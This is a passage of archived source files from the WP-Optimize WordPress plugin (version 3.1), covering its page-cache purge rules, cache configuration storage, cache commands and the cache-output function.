	public static function delete_cache_by_url($url, $recursive = false) {
		if (!defined('WPO_CACHE_FILES_DIR') || '' == $url) return;

		$path = trailingslashit(WPO_CACHE_FILES_DIR) . trailingslashit(wpo_get_url_path($url));

		return wpo_delete_files($path, $recursive);
	}

	/**
	 * Delete cached files for single post.
	 *
	 * @param integer $post_id The post ID
	 *
	 * @return bool
	 */
	public static function delete_single_post_cache($post_id) {
	
		if (!defined('WPO_CACHE_FILES_DIR')) return;
	
		$path = trailingslashit(WPO_CACHE_FILES_DIR) . trailingslashit(wpo_get_url_path(get_permalink($post_id)));

		return wpo_delete_files($path, false);
	}

	/**
	 * Delete cached home page files.
	 */
	public static function delete_homepage_cache() {
	
		if (!defined('WPO_CACHE_FILES_DIR')) return;
	
		$path = trailingslashit(WPO_CACHE_FILES_DIR) . trailingslashit(wpo_get_url_path(get_home_url(get_current_blog_id())));

		wpo_delete_files($path, false);
	}

	/**
	 * Admin actions
	 *
	 * @return void
	 */
	public function admin_init() {
		// Maybe update the advanced cache.
		if ((!defined('DOING_AJAX') || !DOING_AJAX) && current_user_can('update_plugins')) {
			$this->maybe_update_advanced_cache();
		}
	}

	/**
	 * Logs error messages
	 *
	 * @param  string $message
	 * @return null|void
	 */
	public function log($message) {
		if (isset($this->logger)) {
			$this->logger->log('ERROR', $message);
		} else {
			error_log($message);
		}
	}

	/**
	 * Returns an instance of the current class, creates one if it doesn't exist
	 *
	 * @return object
	 */
	public static function instance() {
		if (empty(self::$instance)) {
			self::$instance = new self();
		}
		return self::$instance;
	}

	/**
	 * Adds an error to the error store
	 *
	 * @param string $code    - The error code
	 * @param string $message - The error's message
	 * @param string $type    - The error's type (error, warning)
	 * @return void
	 */
	public function add_error($code, $message, $type = 'error') {
		if (!isset($this->_errors[$type])) {
			$this->_errors[$type] = new WP_Error($code, $message);
		} else {
			$this->_errors[$type]->add($code, $message);
		}
	}

	/**
	 * Adds a warning to the error store
	 *
	 * @param string $code    - The error code
	 * @param string $message - The error's message
	 * @return void
	 */
	public function add_warning($code, $message) {
		$this->add_error($code, $message, 'warning');
	}

	/**
	 * Get all recorded errors
	 *
	 * @param string  $type              - The error type
	 * @param boolean $get_messages_only - Whether to get only the messages, or the full WP_Error object
	 * @return boolean|array|WP_Error
	 */
	public function get_errors($type = 'error', $get_messages_only = true) {
		if (!$this->has_errors($type)) return false;
		$errors = $this->_errors[$type];
		if ($get_messages_only) {
			return $errors->get_error_messages();
		}
		return $errors;
	}

	/**
	 * Check if any errors were recorded
	 *
	 * @param string $type - The error type
	 * @return boolean
	 */
	public function has_errors($type = 'error') {
		return isset($this->_errors[$type]) && !empty($this->_errors[$type]) && $this->_errors[$type]->has_errors();
	}

	/**
	 * Check if any warnings were recorded
	 *
	 * @return boolean
	 */
	public function has_warnings() {
		return $this->has_errors('warning');
	}
}

endif;
cms/wordpress/wp-optimize-versions/wp-optimize.3.1/wp-optimize/cache/class-wpo-cache-rules.php000644 000000 000000 00000021703 13665416124 033061 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * Page caching rules and exceptions
 */

if (!class_exists('WPO_Cache_Config')) require_once('class-wpo-cache-config.php');

require_once dirname(__FILE__) . '/file-based-page-cache-functions.php';

if (!class_exists('WPO_Cache_Rules')) :

class WPO_Cache_Rules {

	/**
	 * Cache config object
	 *
	 * @var mixed
	 */
	public $config;

	/**
	 * Instance of this class
	 *
	 * @var mixed
	 */
	public static $instance;

	public function __construct() {
		$this->config = WPO_Cache_Config::instance()->get();
		$this->setup_hooks();
	}

	/**
	 * Setup hooks/filters
	 */
	public function setup_hooks() {
		add_action('save_post', array($this, 'purge_post_on_update'), 10, 1);
		add_action('save_post', array($this, 'purge_archive_pages_on_post_update'), 10, 1);
		add_action('wp_trash_post', array($this, 'purge_post_on_update'), 10, 1);
		add_action('comment_post', array($this, 'purge_post_on_comment'), 10, 3);
		add_action('wp_set_comment_status', array($this, 'purge_post_on_comment_status_change'), 10, 1);
		add_action('edit_terms', array($this, 'purge_related_elements_on_term_updated'), 10, 2);
		add_action('set_object_terms', array($this, 'purge_related_elements_on_post_terms_change'), 10, 6);
		add_action('wpo_cache_config_updated', array($this, 'cache_config_updated'), 10, 1);

		/**
		 * List of hooks for which when executed, the cache will be purged
		 *
		 * @param array $actions The actions
		 */
		$purge_on_action = apply_filters('wpo_purge_cache_hooks', array('after_switch_theme', 'wp_update_nav_menu', 'customize_save_after', array('wp_ajax_save-widget', 0), array('wp_ajax_update-widget', 0), 'autoptimize_action_cachepurged'));
		foreach ($purge_on_action as $action) {
			if (is_array($action)) {
				add_action($action[0], array($this, 'purge_cache'), $action[1]);
			} else {
				add_action($action, array($this, 'purge_cache'));
			}
		}
	}

	/**
	 * Purge post cache when there is a new approved comment
	 *
	 * @param  int        $comment_id  Comment ID.
	 * @param  int|string $approved    Comment approved status. can be 0, 1 or 'spam'.
	 * @param  array      $commentdata Comment data array. Always sent be WP core, but a plugin was found that does not send it - https://wordpress.org/support/topic/critical-problems-with-version-3-0-10/
	 */
	public function purge_post_on_comment($comment_id, $approved, $commentdata = array()) {
		if (1 !== $approved) {
			return;
		}

		if (!empty($this->config['enable_page_caching']) && !empty($commentdata['comment_post_ID'])) {
			$post_id = $commentdata['comment_post_ID'];

			WPO_Page_Cache::delete_single_post_cache($post_id);
		}
	}

	/**
	 * Every time a comment's status changes, purge it's parent posts cache
	 *
	 * @param int $comment_id Comment ID.
	 */
	public function purge_post_on_comment_status_change($comment_id) {
		if (!empty($this->config['enable_page_caching'])) {
			$comment = get_comment($comment_id);
			if (is_object($comment) && !empty($comment->comment_post_ID)) WPO_Page_Cache::delete_single_post_cache($comment->comment_post_ID);
		}
	}

	/**
	 * Automatically purge all file based page cache on post changes
	 * We want the whole cache purged here as different parts
	 * of the site could potentially change on post updates
	 *
	 * @param Integer $post_id - WP post id
	 */
	public function purge_post_on_update($post_id) {
		$post_type = get_post_type($post_id);
		$post_type_object = get_post_type_object($post_type);

		if ((defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) || 'revision' === $post_type || !$post_type_object->public) {
			return;
		}

		/**
		 * Purge the whole cache if set to true, only the edited post otherwise. Default is false.
		 *
		 * @param boolean $purge_all_cache The default filter value
		 * @param integer $post_id         The saved post ID
		 */
		if (apply_filters('wpo_purge_all_cache_on_update', false, $post_id)) {
			$this->purge_cache();
			return;
		} else {
			if (apply_filters('wpo_delete_cached_homepage_on_post_update', true, $post_id)) WPO_Page_Cache::delete_homepage_cache();
			WPO_Page_Cache::delete_single_post_cache($post_id);
		}
	}

	/**
	 * Purge archive pages on post update.
	 *
	 * @param integer $post_id
	 */
	public function purge_archive_pages_on_post_update($post_id) {
		$post_type = get_post_type($post_id);

		if ((defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) || 'revision' === $post_type) {
			return;
		}

		$post_obj = get_post_type_object($post_type);

		if ('post' == $post_type) {
			// delete all archive pages for post.
			$post_date = get_post_time('Y-m-j', false, $post_id);
			list($year, $month, $day) = $post_date;

			$archive_links = array(
				get_year_link($year),
				get_month_link($year, $month),
				get_day_link($year, $month, $day),
			);

			foreach ($archive_links as $link) {
				WPO_Page_Cache::delete_cache_by_url($link, true);
			}
		} elseif ($post_obj->has_archive) {
			// delete archive page for custom post type.
			WPO_Page_Cache::delete_cache_by_url(get_post_type_archive_link($post_type), true);
		}

	}

	/**
	 * We use it with edit_terms action filter to purge cached elements related
	 * to updated term when term updated.
	 *
	 * @param int    $term_id  Term taxonomy ID.
	 * @param string $taxonomy Taxonomy slug.
	 */
	public function purge_related_elements_on_term_updated($term_id, $taxonomy) {
		// purge cached page for term.
		$term = get_term($term_id, $taxonomy, ARRAY_A);
		if (is_array($term)) {
			$term_permalink = get_term_link($term['term_id']);
			if (!is_wp_error($term_permalink)) {
				WPO_Page_Cache::delete_cache_by_url($term_permalink, true);
			}
		}

		// get posts which belongs to updated term.
		$posts = get_posts(array(
			'numberposts'      => -1,
			'post_type'        => 'any',
			'fields'           => 'ids',
			'tax_query' => array(
				'relation' => 'OR',
				array(
					'taxonomy' => $taxonomy,
					'field'    => 'term_id',
					'terms'    => $term_id,
				)
			),
		));

		if (!empty($posts)) {
			foreach ($posts as $post_id) {
				WPO_Page_Cache::delete_single_post_cache($post_id);
			}
		}
	}

	/**
	 * Triggered by set_object_terms action. Used to clear all the terms archives a post belongs to or belonged to before being saved.
	 *
	 * @param int    $object_id  Object ID.
	 * @param array  $terms      An array of object terms.
	 * @param array  $tt_ids     An array of term taxonomy IDs.
	 * @param string $taxonomy   Taxonomy slug.
	 * @param bool   $append     Whether to append new terms to the old terms.
	 * @param array  $old_tt_ids Old array of term taxonomy IDs.
	 */
	public function purge_related_elements_on_post_terms_change($object_id, $terms, $tt_ids, $taxonomy, $append, $old_tt_ids) {

		$post_type = get_post_type($object_id);

		if ((defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) || 'revision' === $post_type || 'product_type' === $taxonomy || 'action-group' === $taxonomy) {
			return;
		}

		/**
		 * Adds a way to exit the purge of terms permalink using the provided parameters.
		 *
		 * @param bool   $purge      The value filtered, whether or not to purge the related elements
		 * @param int    $object_id  Object ID.
		 * @param array  $terms      An array of object terms.
		 * @param array  $tt_ids     An array of term taxonomy IDs.
		 * @param string $taxonomy   Taxonomy slug.
		 * @param bool   $append     Whether to append new terms to the old terms.
		 * @param array  $old_tt_ids Old array of term taxonomy IDs.
		 * @default true
		 * @return boolean
		 */
		if (!apply_filters('wpo_cache_purge_related_elements_on_post_terms_change', true, $object_id, $terms, $tt_ids, $taxonomy, $append, $old_tt_ids)) return;

		// get all affected terms.
		$affected_terms_ids = array_unique(array_merge($tt_ids, $old_tt_ids));

		if (!empty($affected_terms_ids)) {
			// walk through all changed terms and purge cached pages for them.
			foreach ($affected_terms_ids as $tt_id) {
				$term = get_term($tt_id, $taxonomy, ARRAY_A);
				if (!is_array($term)) continue;

				$term_permalink = get_term_link($term['term_id']);
				if (!is_wp_error($term_permalink)) {
					$url = parse_url($term_permalink);
					// Check if the permalink contains a valid path, to avoid deleting the whole cache.
					if (!isset($url['path']) || '/' === $url['path']) return;
					WPO_Page_Cache::delete_cache_by_url($term_permalink, true);
				}
			}
		}
	}

	/**
	 * Clears the cache.
	 */
	public function purge_cache() {
		if (!empty($this->config['enable_page_caching'])) {
			wpo_cache_flush();
		}
	}

	/**
	 * Triggered by wpo_cache_config_updated.
	 *
	 * @param array $config
	 */
	public function cache_config_updated($config) {
		// delete front page form cache if defined in the settings
		if (is_array($config['cache_exception_urls']) && in_array('/', $config['cache_exception_urls'])) {
			WPO_Page_Cache::delete_cache_by_url(home_url());
		}
	}

	/**
	 * Returns an instance of the current class, creates one if it doesn't exist
	 *
	 * @return object
	 */
	public static function instance() {
		if (empty(self::$instance)) {
			self::$instance = new self();
		}
		return self::$instance;
	}
}

endif;
cms/wordpress/wp-optimize-versions/wp-optimize.3.1/wp-optimize/cache/class-wpo-cache-config.php000644 000000 000000 00000016424 13665416124 033200 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * Handles cache configuration and related I/O
 */

if (!class_exists('WPO_Cache_Config')) :

class WPO_Cache_Config {

	/**
	 * Defaults
	 *
	 * @var array
	 */
	public $defaults;

	/**
	 * Instance of this class
	 *
	 * @var mixed
	 */
	public static $instance;


	/**
	 * Set config defaults
	 */
	public function __construct() {
		$this->defaults = $this->get_defaults();
	}

	/**
	 * Get config from file or cache
	 *
	 * @return array
	 */
	public function get() {

		if (is_multisite()) {
			$config = get_site_option('wpo_cache_config', $this->get_defaults());
		} else {
			$config = get_option('wpo_cache_config', $this->get_defaults());
		}

		return wp_parse_args($config, $this->get_defaults());
	}

	/**
	 * Get a specific configuration option
	 *
	 * @param string  $option_key The option identifier
	 * @param boolean $default    Default value if the option doesn't exist (Default to false)
	 * @return mixed
	 */
	public function get_option($option_key, $default = false) {
		$options = $this->get();
		return isset($options[$option_key]) ? $options[$option_key] : $default;
	}

	/**
	 * Updates the given config object in file and DB
	 *
	 * @param array	  $config						- the cache configuration
	 * @param boolean $skip_disk_if_not_yet_present - only write the configuration file to disk if it already exists. This presents PHP notices if the cache has never been on, and settings are saved.
	 *
	 * @return bool
	 */
	public function update($config, $skip_disk_if_not_yet_present = false) {
		$config = wp_parse_args($config, $this->get_defaults());

		$config['page_cache_length_value'] = intval($config['page_cache_length_value']);
		$config['page_cache_length'] = $this->calculate_page_cache_length($config['page_cache_length_value'], $config['page_cache_length_unit']);

		/**
		 * Filters the cookies used to set cache file names
		 *
		 * @param array $cookies - The cookies
		 * @param array $config  - The new config
		 */
		$wpo_cache_cookies = apply_filters('wpo_cache_cookies', array(), $config);
		sort($wpo_cache_cookies);

		/**
		 * Filters the query variables used to set cache file names
		 *
		 * @param array $wpo_query_variables - The variables
		 * @param array $config              - The new config
		 */
		$wpo_query_variables = apply_filters('wpo_cache_query_variables', array(), $config);
		sort($wpo_query_variables);

		$config['wpo_cache_cookies'] = $wpo_cache_cookies;
		$config['wpo_cache_query_variables'] = $wpo_query_variables;
		
		$config = apply_filters('wpo_cache_update_config', $config);

		if (is_multisite()) {
			update_site_option('wpo_cache_config', $config);
		} else {
			update_option('wpo_cache_config', $config);
		}

		do_action('wpo_cache_config_updated', $config);

		return $this->write($config, $skip_disk_if_not_yet_present);
	}

	/**
	 * Calculate cache expiration value in seconds.
	 *
	 * @param int    $value
	 * @param string $unit  ( hours | days | months )
	 *
	 * @return int
	 */
	private function calculate_page_cache_length($value, $unit) {
		$cache_length_units = array(
			'hours' => 3600,
			'days' => 86400,
			'months' => 2629800, // 365.25 * 86400 / 12
		);

		return $value * $cache_length_units[$unit];
	}

	/**
	 * Deletes config files and options
	 *
	 * @return bool
	 */
	public function delete() {

		if (is_multisite()) {
			delete_site_option('wpo_cache_config');
		} else {
			delete_option('wpo_cache_config');
		}
		
		if (!WPO_Page_Cache::delete(WPO_CACHE_CONFIG_DIR)) {
			return false;
		}

		return true;
	}

	/**
	 * Writes config to file
	 *
	 * @param array	  $config		   - Configuration array.
	 * @param boolean $only_if_present - only writes to the disk if the configuration file already exists
	 *
	 * @return boolean - returns false if an attempt to write failed
	 */
	private function write($config, $only_if_present = false) {

		$url = parse_url(network_site_url());

		if (isset($url['port']) && '' != $url['port'] && 80 != $url['port']) {
			$config_file = WPO_CACHE_CONFIG_DIR.'/config-'.$url['host'].'-port'.$url['port'].'.php';
		} else {
			$config_file = WPO_CACHE_CONFIG_DIR.'/config-'.$url['host'].'.php';
		}

		$this->config = wp_parse_args($config, $this->get_defaults());

		// from 3.0.17 we use more secure way to store cache config files.
		$advanced_cache_version = WPO_Page_Cache::instance()->get_advanced_cache_version();
		// if advanced-cache.php exists and has at least 3.0.17 version or
		// advanced-cache.php doesn't exist and WP-O has at least 3.0.17 version then
		// we write the cache config in a new format.
		if (($advanced_cache_version && (0 >= version_compare($advanced_cache_version, '3.0.17')))
			|| (!$advanced_cache_version && (0 >= version_compare(WPO_VERSION, '3.0.17')))
		) {
			$config_content = '<?php' . "\n"
				. 'if (!defined(\'ABSPATH\')) die(\'No direct access allowed\');' . "\n\n"
				. '$GLOBALS[\'wpo_cache_config\'] = json_decode(\'' . json_encode($this->config) . '\', true);' . "\n";
		} else {
			$config_content = json_encode($this->config);
		}

		if ((!$only_if_present || file_exists($config_file)) && !file_put_contents($config_file, $config_content)) {
			return new WP_Error('write_cache_config', sprintf(__('The cache configuration file could not be saved to the disk; please check the file/folder permissions of %s .', 'wp-optimize'), $config_file));
		}

		return true;
	}

	/**
	 * Verify we can write to the file system
	 *
	 * @since  1.0
	 * @return boolean
	 */
	public function verify_file_access() {
		if (function_exists('clearstatcache')) {
			clearstatcache();
		}

		// First check wp-config.php.
		if (!is_writable(ABSPATH . 'wp-config.php') && !is_writable(ABSPATH . '../wp-config.php')) {
			return false;
		}

		// Now check wp-content. We need to be able to create files of the same user as this file.
		if (!$this->_is_dir_writable(untrailingslashit(WP_CONTENT_DIR))) {
			return false;
		}

		// If the cache and config directories exist, make sure they're writeable
		if (file_exists(untrailingslashit(WP_CONTENT_DIR) . '/wpo-cache')) {
			
			if (file_exists(WPO_CACHE_DIR)) {
				if (!$this->_is_dir_writable(WPO_CACHE_DIR)) {
					return false;
				}
			}

			if (file_exists(WPO_CACHE_CONFIG_DIR)) {
				if (!$this->_is_dir_writable(WPO_CACHE_CONFIG_DIR)) {
					return false;
				}
			}
		}

		return true;
	}

	/**
	 * Return defaults
	 *
	 * @return array
	 */
	public function get_defaults() {
		
		$defaults = array(
			'enable_page_caching'						=> false,
			'page_cache_length_value'					=> 24,
			'page_cache_length_unit'					=> 'hours',
			'page_cache_length'							=> 86400,
			'cache_exception_urls'						=> array(),
			'cache_exception_cookies'					=> array(),
			'cache_exception_browser_agents'			=> array(),
			'enable_sitemap_preload'					=> false,
			'enable_schedule_preload'					=> false,
			'preload_schedule_type'						=> '',
			'enable_mobile_caching'						=> false,
			'enable_user_caching'						=> false,
			'site_url'									=> network_site_url('/'),
			'enable_cache_per_country'					=> false,
		);

		return apply_filters('wpo_cache_defaults', $defaults);
	}

	/**
	 * Return an instance of the current class, create one if it doesn't exist
	 *
	 * @since  1.0
	 * @return WPO_Cache_Config
	 */
	public static function instance() {

		if (!self::$instance) {
			self::$instance = new self();
		}

		return self::$instance;
	}
}
endif;
cms/wordpress/wp-optimize-versions/wp-optimize.3.1/wp-optimize/cache/php-5.3-functions.php000644 000000 000000 00000000575 13614520640 032055 0ustar00rootwheel000000 000000 <?php

/**
 * Get path to wp-config.php when called from WP-CLI.
 *
 * @return string
 */
function wpo_wp_cli_locate_wp_config() {
	$config_path = '';

	if (is_callable('\WP_CLI\Utils\locate_wp_config')) {
		// phpcs:ignore PHPCompatibility.LanguageConstructs.NewLanguageConstructs.t_ns_separatorFound
		$config_path = \WP_CLI\Utils\locate_wp_config();
	}

	return $config_path;
}
cms/wordpress/wp-optimize-versions/wp-optimize.3.1/wp-optimize/cache/class-cache-commands.php000644 000000 000000 00000022100 13665416124 032715 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * All cache commands that are intended to be available for calling from any sort of control interface (e.g. wp-admin, UpdraftCentral) go in here. All public methods should either return the data to be returned, or a WP_Error with associated error code, message and error data.
 */
class WP_Optimize_Cache_Commands {

	private $optimizer;

	private $options;

	/**
	 * WP_Optimize_Cache_Commands constructor.
	 */
	public function __construct() {
		$this->optimizer = WP_Optimize()->get_optimizer();
		$this->options = WP_Optimize()->get_options();
	}

	/**
	 * Save cache settings
	 *
	 * @param array $data
	 *
	 * @return array
	 */
	public function save_cache_settings($data) {

		if (!class_exists('WPO_Cache_Config')) return array(
			'result' => false,
			'message' => "WPO_Cache_Config class doesn't exist",
		);

		$enabled = false;
		$disabled = false;
		$return = array();
		$previous_settings = WPO_Cache_Config::instance()->get();

		// Attempt to change current status if required
		if (isset($previous_settings['enable_page_caching']) && $previous_settings['enable_page_caching'] != $data['cache-settings']['enable_page_caching']) {
			// Disable cache.
			if (empty($data['cache-settings']['enable_page_caching'])) {
				$disabled = WPO_Page_Cache::instance()->disable();
				// Disabling failed
				if ($disabled && is_wp_error($disabled)) {
					// If disabling failed, we re-enable whatever was disabled, to make sure nothing breaks.
					if ($previous_settings['enable_page_caching']) WPO_Page_Cache::instance()->enable(true);
					$return['error'] = array(
						'code' => $disabled->get_error_code(),
						'message' => $disabled->get_error_message()
					);
				} elseif (WPO_Page_Cache::instance()->has_warnings()) {
					$return['warnings_label'] = __('Page caching was disabled, but with some warnings:', 'wp-optimize');
					$return['warnings'] = WPO_Page_Cache::instance()->get_errors('warning');
				}
			} else {
				// we need to rebuild advanced-cache.php and add WP_CACHE to wp-config.
				$enabled = WPO_Page_Cache::instance()->enable(true);
				// Enabling failed
				if (is_wp_error($enabled)) {
					// disable everything, to avoid half enabled things
					WPO_Page_Cache::instance()->disable();
					$return['error'] = array(
						'code' => $enabled->get_error_code(),
						'message' => $enabled->get_error_message()
					);

					if (WPO_Page_Cache::instance()->advanced_cache_file_writing_error) {
						$return['advanced_cache_file_writing_error'] = true;
						$return['advanced_cache_file_content'] = WPO_Page_Cache::instance()->advanced_cache_file_content;
					}
				} elseif (WPO_Page_Cache::instance()->has_warnings()) {
					$return['warnings_label'] = __('Page caching was enabled, but with some warnings:', 'wp-optimize');
					$return['warnings'] = WPO_Page_Cache::instance()->get_errors('warning');
				}
			}
			// Override enabled setting value
			$data['cache-settings']['enable_page_caching'] = ($enabled && !is_wp_error($enabled)) || ($previous_settings['enable_page_caching'] && is_wp_error($disabled));
		} else {
			$data['cache-settings']['enable_page_caching'] = $previous_settings['enable_page_caching'];
			$enabled = $previous_settings['enable_page_caching'];
		}

		$skip_if_no_file_yet = !$enabled || is_wp_error($enabled);
		$save_settings_result = WPO_Cache_Config::instance()->update($data['cache-settings'], $skip_if_no_file_yet);

		if ($save_settings_result && !is_wp_error($save_settings_result)) {
			WP_Optimize_Page_Cache_Preloader::instance()->cache_settings_updated($data['cache-settings'], $previous_settings);
			$return['result'] = $save_settings_result;
		} else {
			// Saving the settings returned an error
			if (is_wp_error($save_settings_result)) {
				if (isset($return['error'])) {
					$return['error']['message'] .= "\n\n".$save_settings_result->get_error_message();
				} else {
					$return['error'] = array(
						'code' => $save_settings_result->get_error_code(),
						'message' => $save_settings_result->get_error_message()
					);
				}
			}
			$return['result'] = false;
		}

		$return['enabled'] = ($enabled && !is_wp_error($enabled)) || ($previous_settings['enable_page_caching'] && is_wp_error($disabled));

		return $return;
	}

	/**
	 * Get information about current cache status. Used in cli commands.
	 *
	 * @return array
	 */
	public function get_status_info() {
		$status = array();

		$status[] = WPO_Page_Cache::instance()->is_enabled() ? __('Caching is enabled', 'wp-optimize') : __('Caching is disabled', 'wp-optimize');

		$preloader_status = WP_Optimize_Page_Cache_Preloader::instance()->get_status_info();
		$status[] = sprintf(__('Current cache size: %s', 'wp-optimize'), $preloader_status['size']);
		$status[] = sprintf(__('Number of files: %s', 'wp-optimize'), $preloader_status['file_count']);

		if (array_key_exists('message', $preloader_status)) $status[] = $preloader_status['message'];

		$status['message'] = join(PHP_EOL, $status);

		return $status;
	}

	/**
	 * Enable cache.
	 */
	public function enable() {
		$settings = WPO_Cache_Config::instance()->get();
		$settings['enable_page_caching'] = true;
		return $this->format_save_cache_settings_response($this->save_cache_settings(array('cache-settings' => $settings)));
	}

	/**
	 * Disable cache.
	 */
	public function disable() {
		$settings = WPO_Cache_Config::instance()->get();
		$settings['enable_page_caching'] = false;
		return $this->format_save_cache_settings_response($this->save_cache_settings(array('cache-settings' => $settings)));
	}

	/**
	 * Purge WP-Optimize page cache.
	 *
	 * @return array
	 */
	public function purge_page_cache() {
		$purged = WP_Optimize()->get_page_cache()->purge();
		$cache_size = WP_Optimize()->get_page_cache()->get_cache_size();
		$wpo_page_cache_preloader = WP_Optimize_Page_Cache_Preloader::instance();

		$response = array(
			'success' => $purged,
			'size' => WP_Optimize()->format_size($cache_size['size']),
			'file_count' => $cache_size['file_count'],
		);

		// if scheduled preload enabled then reschedule and run preloader.
		if ($wpo_page_cache_preloader->is_scheduled_preload_enabled()) {
			// cancel preload and reschedule preload action.
			$wpo_page_cache_preloader->cancel_preload();
			$wpo_page_cache_preloader->reschedule_preload();

			// run preloader.
			$wpo_page_cache_preloader->run('scheduled', $response);
		}

		if ($response['success']) {
			$response['message'] = __('Page cache purged successfully', 'wp-optimize');
		}

		return $response;
	}

	/**
	 * Run cache preload (for wp-cli).
	 *
	 * @return array|bool
	 */
	public function run_cache_preload_cli() {
		global $wpdb;

		if (!(defined('WP_CLI') && WP_CLI)) return false;

		// define WPO_ADVANCED_CACHE constant as WP-CLI doesn't load advanced-cache.php file
		// but we check this constant value wen detecting status of cache
		if (!defined('WPO_ADVANCED_CACHE')) define('WPO_ADVANCED_CACHE', true);
		// don't interrupt queue processing
		add_filter('updraft_interrupt_tasks_queue_load-url-task', '__return_false', 99);

		// if preloading is running then exit.
		if (WP_Optimize_Page_Cache_Preloader::instance()->is_busy()) {
			return array(
				'success' => false,
				'error' => __('Preloading is currently running in another process.', 'wp-optimize'),
			);
		}

		// set default response.
		$response = array(
			'success' => true,
			'message' => __('All URLs were preloaded into cache successfully', 'wp-optimize'),
		);

		WP_CLI::log(__('Preloading URLs into cache...', 'wp-optimize'));

		return WP_Optimize_Page_Cache_Preloader::instance()->run('manual', $response);
	}

	/**
	 * Run cache preload action.
	 *
	 * @return void|array - Doesn't return anything if run() is successfull (Run() prints a JSON object and closed browser connection) or an array if failed.
	 */
	public function run_cache_preload() {
		return WP_Optimize_Page_Cache_Preloader::instance()->run('manual');
	}

	/**
	 * Cancel cache preload action.
	 *
	 * @return array
	 */
	public function cancel_cache_preload() {
		WP_Optimize_Page_Cache_Preloader::instance()->cancel_preload();
		return WP_Optimize_Page_Cache_Preloader::instance()->get_status_info();
	}

	/**
	 * Get status of cache preload.
	 *
	 * @return array
	 */
	public function get_cache_preload_status() {
		return WP_Optimize_Page_Cache_Preloader::instance()->get_status_info();
	}

	/**
	 * Enable or disable browser cache.
	 *
	 * @param array $params - ['browser_cache_expire' => '1 month 15 days 2 hours' || '' - for disable cache]
	 * @return array
	 */
	public function enable_browser_cache($params) {
		return WP_Optimize()->get_browser_cache()->enable_browser_cache_command_handler($params);
	}

	/**
	 * Format save_cache_settings() result for displaying in WP-CLI console
	 *
	 * @param array $response
	 * @return array
	 */
	private function format_save_cache_settings_response($response) {
		$result = array(
			'success' => $response['result'],
		);

		if (isset($response['error'])) {
			$result['success'] = false;
			$result['error'] = $response['error']['message'];
		}

		if ($result['success']) {
			$result['message'] = __('Page cache settings updated successfully.', 'wp-optimize');
		}

		return $result;
	}
}
wordpress/wp-optimize-versions/wp-optimize.3.1/wp-optimize/cache/file-based-page-cache-functions.php000644 000000 000000 00000071650 13665416124 034663 0ustar00rootwheel000000 000000 cms<?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * Extensions directory.
 */
if (!defined('WPO_CACHE_EXT_DIR')) define('WPO_CACHE_EXT_DIR', dirname(__FILE__).'/extensions');

/**
 * Holds utility functions used by file based cache
 */

/**
 * Cache output before it goes to the browser. If moving/renaming this function, then also change the check above.
 *
 * @param  string $buffer Page HTML.
 * @param  int    $flags  OB flags to be passed through.
 * @return string
 */
if (!function_exists('wpo_cache')) :
function wpo_cache($buffer, $flags) {
	global $post;
	
	// This array records reasons why no cacheing took place. Be careful not to allow actions to proceed that should not - i.e. take note of its state appropriately.
	$no_cache_because = array();

	if (strlen($buffer) < 255) {
		$no_cache_because[] = sprintf(__('Output is too small (less than %d bytes) to be worth caching', 'wp-optimize'), 255);
	}

	// Don't cache pages for logged in users.
	if (!function_exists('is_user_logged_in') || is_user_logged_in()) {
		$no_cache_because[] = __('User is logged in', 'wp-optimize');
	}

	$restricted_page_type_cache = apply_filters('wpo_restricted_cache_page_type', false);
	if ($restricted_page_type_cache) {
		$no_cache_because[] = $restricted_page_type_cache;
	}

	// No root cache folder, so short-circuit here
	if (!file_exists(WPO_CACHE_DIR)) {
		$no_cache_because[] = __('WP-O cache parent directory was not found', 'wp-optimize').' ('.WPO_CACHE_DIR.')';
	} elseif (!file_exists(WPO_CACHE_FILES_DIR)) {
		// Try creating a folder for cached files, if it was flushed recently
		if (!mkdir(WPO_CACHE_FILES_DIR)) {
			$no_cache_because[] = __('WP-O cache directory was not found', 'wp-optimize').' ('.WPO_CACHE_FILES_DIR.')';
		} else {
			wpo_disable_cache_directories_viewing();
		}
	}

	// If comments are opened and the user has saved his information
	if (function_exists('comments_open') && comments_open()) {
		$commenter = wp_get_current_commenter();
		// if any of the fields contain something, do not save to cache
		if ('' != $commenter['comment_author'] || '' != $commenter['comment_author_email'] || '' != $commenter['comment_author_url']) {
			$no_cache_because[] = __('Comments are opened and the visitor saved his information.', 'wp-optimize');
		}
	}

	$can_cache_page = (defined('DONOTCACHEPAGE') && DONOTCACHEPAGE) ? false : true;

	/**
	 * Defines if the page can be cached or not
	 *
	 * @param boolean $can_cache_page
	 */
	$can_cache_page = apply_filters('wpo_can_cache_page', $can_cache_page);

	if (!$can_cache_page) {
		$no_cache_because[] = __('DONOTCACHEPAGE constant or wpo_can_cache_page filter forbade it', 'wp-optimize');
	}

	if (defined('REST_REQUEST') && REST_REQUEST) {
		$no_cache_because[] = __('This is a REST API request (identified by REST_REQUEST constant)', 'wp-optimize');
	}

	if (empty($no_cache_because)) {

		$buffer = apply_filters('wpo_pre_cache_buffer', $buffer, $flags);

		$url_path = wpo_get_url_path();

		$dirs = explode('/', $url_path);

		$path = WPO_CACHE_FILES_DIR;

		foreach ($dirs as $dir) {
			if (!empty($dir)) {
				$path .= '/' . $dir;

				if (!file_exists($path)) {
					if (!mkdir($path)) {
						$no_cache_because[] = __('Attempt to create subfolder within cache directory failed', 'wp-optimize')." ($path)";
						break;
					}
				}
			}
		}
	}

	if (!empty($no_cache_because)) {

		$message = implode(', ', $no_cache_because);

		// Add http headers
		wpo_cache_add_nocache_http_header($message);

		// Only output if the user has turned on debugging output
		if (((defined('WP_DEBUG') && WP_DEBUG) || isset($_GET['wpo_cache_debug'])) && (!defined('DOING_CRON') || !DOING_CRON) && (!defined('REST_REQUEST') || !REST_REQUEST)) {
			$buffer .= "\n<!-- WP Optimize page cache - https://getwpo.com - page NOT cached because: ".htmlspecialchars($message)." -->\n";
		}
		
		return $buffer;
	
	} else {
	
		// Prevent mixed content when there's an http request but the site URL uses https.
		$home_url = get_home_url();

		if (!is_ssl() && 'https' === strtolower(parse_url($home_url, PHP_URL_SCHEME))) {
			$https_home_url = $home_url;
			$http_home_url = str_ireplace('https://', 'http://', $https_home_url);
